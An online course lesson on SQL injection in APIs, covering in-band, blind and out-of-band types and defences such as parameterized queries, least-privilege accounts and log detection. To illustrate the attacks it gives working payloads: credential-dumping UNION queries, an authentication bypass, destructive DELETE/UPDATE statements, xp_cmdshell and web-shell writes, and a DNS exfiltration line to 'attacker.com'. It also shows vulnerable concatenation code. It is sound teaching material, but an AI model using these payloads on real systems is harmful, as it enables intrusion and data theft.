API Security SQL Injection

SQL Injection is one of the oldest and most destructive vulnerabilities in web applications. Despite being well understood and entirely preventable, it continues to appear in real systems every year. Through APIs, SQL injection can be even more dangerous because attackers can automate attacks at scale without triggering standard web application defenses.

What Is SQL Injection

SQL injection happens when an attacker inserts SQL code into an input field, and the server incorporates that code directly into a database query without proper handling. The database then executes the attacker's SQL as if it were legitimate code.

Think of a library catalog system. Normally you type a book title, and the system searches for that title. SQL injection is like writing a note inside the search box that says "...and while you are at it, print the entire staff salary spreadsheet." If the system follows your note literally, it has been SQL-injected.

How a SQL Injection Attack Works

Scenario: An e-commerce API that looks up products by category.

Normal intended behavior:
  Client request: GET /api/products?category=shoes
  
  Server builds SQL query:
  SELECT * FROM products WHERE category = 'shoes'
  
  Database returns: All products in the shoes category.

Attacker's malicious input:
  Client request: GET /api/products?category=shoes' OR '1'='1

  Server builds SQL query:
  SELECT * FROM products WHERE category = 'shoes' OR '1'='1'

  The added condition '1'='1' is always true.
  Database returns: EVERY product in the entire database.
  
  The attacker just bypassed the category filter completely.

Types of SQL Injection

Type 1: In-Band SQL Injection (Classic)

The attacker receives results directly in the API response. This is the most straightforward type.

Error-Based In-Band:
  Attacker sends input that causes a deliberate SQL error.
  The error message reveals database structure.

  Input: shoes'
  SQL:   SELECT * FROM products WHERE category = 'shoes''
  Error: "You have an error in your SQL syntax near 'shoes'"
         "Table 'store_db.products' doesn't exist"
  
  Attacker learns: database name is "store_db", table is "products".

Union-Based In-Band:
  Attacker appends a UNION SELECT to retrieve data from other tables.

  Input: shoes' UNION SELECT username, password, NULL FROM users--
  SQL:   SELECT name, price, description FROM products
         WHERE category = 'shoes'
         UNION SELECT username, password, NULL FROM users--
  
  The API response now includes product data AND username+password
  data from the users table mixed together in the same response.

Type 2: Blind SQL Injection

The server does not return database errors or extra data in the response. The attacker infers information based on how the application behaves differently for true vs false SQL conditions.

Boolean-Based Blind:
  GET /api/users/101?verify=true
  True condition input:
    101 AND 1=1    → Returns user profile (query worked)
  False condition input:
    101 AND 1=2    → Returns empty response (query found nothing)
  
  By crafting questions as SQL conditions that are true or false,
  the attacker extracts the entire database one bit at a time.
  
  Example question: "Is the first character of the admin password 'A'?"
  Input: 101 AND SUBSTRING((SELECT password FROM users WHERE role='admin'),1,1)='A'
  → If response returns data: first char is 'A'
  → If response is empty: first char is not 'A'
  → Repeat for each character. Automated tools do this in minutes.

Time-Based Blind:
  Attacker uses SQL time delay functions to extract information.
  If the condition is true, the database waits several seconds.
  If false, the response is immediate.
  
  MySQL example:
    101 AND IF(1=1, SLEEP(5), 0)
  → Response delays 5 seconds = condition is true
    101 AND IF(1=2, SLEEP(5), 0)
  → Immediate response = condition is false

Type 3: Out-of-Band SQL Injection

Used when in-band and blind techniques are too slow or not reliable. The attacker uses the database server to send data to an external server they control.

Out-of-Band (DNS exfiltration — SQL Server example):
  Attacker injects:
  '; EXEC master..xp_dirtree '//attacker.com/stolen_data/'+
  (SELECT password FROM users WHERE username='admin')--

  SQL Server makes a DNS lookup to:
  attacker.com/stolen_data/<admin_password>
  
  Attacker watches DNS logs and reads the exfiltrated data.

What an Attacker Can Do with SQL Injection

Damage Scale:

Level 1 – Data Theft:
  Read any table: SELECT * FROM users, credit_cards, orders
  Extract passwords, credit cards, personal data
  Target: Sensitive data

Level 2 – Authentication Bypass:
  Login bypass without valid credentials:
  Username: admin'--
  Password: anything
  
  SQL: SELECT * FROM users WHERE username='admin'--' AND password='anything'
  The -- comments out the password check. Login succeeds as admin.

Level 3 – Data Modification:
  UPDATE users SET password='hacked' WHERE username='admin'
  DELETE FROM orders WHERE 1=1   ← Deletes all orders
  INSERT INTO users VALUES ('hacker', 'admin', 'hashed_pass')

Level 4 – Server Compromise:
  On misconfigured databases with privileged accounts:
  EXEC xp_cmdshell 'whoami'          → Execute OS commands
  INTO OUTFILE '/var/www/shell.php'  → Write web shell to server
  → Full server takeover

The Real Fix: Parameterized Queries

Parameterized queries (also called prepared statements) completely prevent SQL injection. Instead of building SQL strings by concatenating user input, parameterized queries treat user input as data — never as executable SQL code.

Vulnerable Code (string concatenation — never do this):

JavaScript (Node.js):
  const category = req.query.category;
  const sql = "SELECT * FROM products WHERE category = '" + category + "'";
  db.query(sql);

Python:
  sql = "SELECT * FROM products WHERE category = '" + category + "'"
  cursor.execute(sql)

PHP:
  $sql = "SELECT * FROM products WHERE category = '" . $category . "'";
  $db->query($sql);

If category = "shoes' OR '1'='1", the SQL becomes malicious.

───────────────────────────────────────────────────────────

Parameterized Query (safe — always do this):

JavaScript (Node.js with mysql2):
  const sql = "SELECT * FROM products WHERE category = ?";
  db.query(sql, [category]);

Python:
  sql = "SELECT * FROM products WHERE category = %s"
  cursor.execute(sql, (category,))

PHP (PDO):
  $stmt = $db->prepare("SELECT * FROM products WHERE category = ?");
  $stmt->execute([$category]);

Java (JDBC):
  PreparedStatement stmt = conn.prepareStatement(
    "SELECT * FROM products WHERE category = ?");
  stmt.setString(1, category);
  stmt.executeQuery();

How it works:
  The SQL structure is sent to the database engine first.
  The user input is sent separately as a data value.
  The database never interprets the input as SQL code.
  Even if input contains SQL keywords, they are treated as literal text.

ORMs and SQL Injection

Object-Relational Mappers (ORMs) like Hibernate (Java), SQLAlchemy (Python), Sequelize (Node.js), and ActiveRecord (Ruby) typically use parameterized queries internally, providing automatic SQL injection protection when used correctly.

ORM (Safe) Example — Sequelize:
  User.findAll({ where: { category: category } });
  → Generates parameterized query internally. Safe.

ORM (Dangerous) Raw Query — Sequelize:
  sequelize.query("SELECT * FROM products WHERE category = '" + category + "'");
  → Raw query with string concatenation. Still vulnerable!

Key rule: ORMs protect you only when you use their ORM methods.
Using raw query functionality with string concatenation bypasses all protection.

Stored Procedures and SQL Injection

Common misconception: Stored procedures prevent SQL injection.
Reality: Stored procedures are only safe if they use parameters internally.

Safe stored procedure (parameterized internally):
  CREATE PROCEDURE GetProducts @category VARCHAR(50)
  AS
  SELECT * FROM products WHERE category = @category

  Call: EXEC GetProducts @category = user_input
  → Safe. @category is treated as data.

Unsafe stored procedure (dynamic SQL inside):
  CREATE PROCEDURE GetProducts @category VARCHAR(50)
  AS
  EXEC('SELECT * FROM products WHERE category = ''' + @category + '''')

  → Still vulnerable! The dynamic SQL concatenation is inside the procedure.

Defense in Depth for SQL Injection

Layer 1: Parameterized queries (PRIMARY defense)
  Use everywhere. No exceptions. Non-negotiable.

Layer 2: Input validation (SECONDARY defense)
  Even with parameterized queries, validate inputs for type and range.
  An integer field should only accept integers.
  A category field should only accept known category values.

Layer 3: Least privilege database accounts
  The API should connect to the database as a user with only
  the permissions needed for its function.
  
  Instead of: GRANT ALL PRIVILEGES ON *.* TO 'api_user'
  Use:        GRANT SELECT, INSERT ON store_db.products TO 'api_user'
              GRANT SELECT ON store_db.orders TO 'api_user'
  
  If SQL injection occurs, attacker can only do what the DB user can do.
  Read-only DB account = cannot DELETE or DROP even with injection.

Layer 4: Web Application Firewall (WAF)
  Detect and block common SQL injection patterns at the network level.
  WAF is a supplementary control, NOT a primary defense.
  Determined attackers bypass WAFs with encoding tricks.

Layer 5: Error handling
  Never return raw database error messages to clients.
  Log detailed errors server-side for debugging.
  Return generic errors to clients: "An error occurred."

Layer 6: Regular scanning
  Use tools like SQLMap (in authorized testing) to scan your own APIs.
  Run DAST (Dynamic Application Security Testing) in CI/CD pipelines.

Detecting SQL Injection Attempts in Logs

Patterns that indicate SQL injection attempts in API access logs:

Presence of SQL keywords in parameters:
  UNION, SELECT, INSERT, UPDATE, DELETE, DROP, OR, AND, WHERE
  
Single quotes and comment sequences:
  '  ''  --  /*  */  ;
  
URL-encoded SQL characters:
  %27 (single quote)  %3B (semicolon)  %2D%2D (--)

Automated tool signatures:
  SQLMap User-Agent strings in headers
  Rapid sequential requests with incrementing injection payloads
  
Example log entry showing attack:
  [2025-03-15 10:42:33] GET /api/products?category=shoes'+UNION+SELECT+username,password+FROM+users--
  IP: 198.51.100.42
  Status: 400

Key Points

  • SQL injection happens when user input is concatenated directly into SQL queries, allowing attackers to modify the query's logic.
  • Parameterized queries are the complete, definitive fix. They make SQL injection structurally impossible by separating code from data.
  • There are three types: in-band (direct results), blind (inferred from behavior), and out-of-band (data sent to attacker's server).
  • Attackers can bypass authentication, extract entire databases, modify or delete data, and even execute OS commands through SQL injection.
  • ORMs protect against SQL injection only when using ORM methods — raw query functions with string concatenation remain vulnerable.
  • Least-privilege database accounts limit the damage even if injection occurs.
  • Never display raw database errors to users. Log them server-side and return generic messages to clients.
Previous lessons
Back to courses
Next lessons

Leave a Comment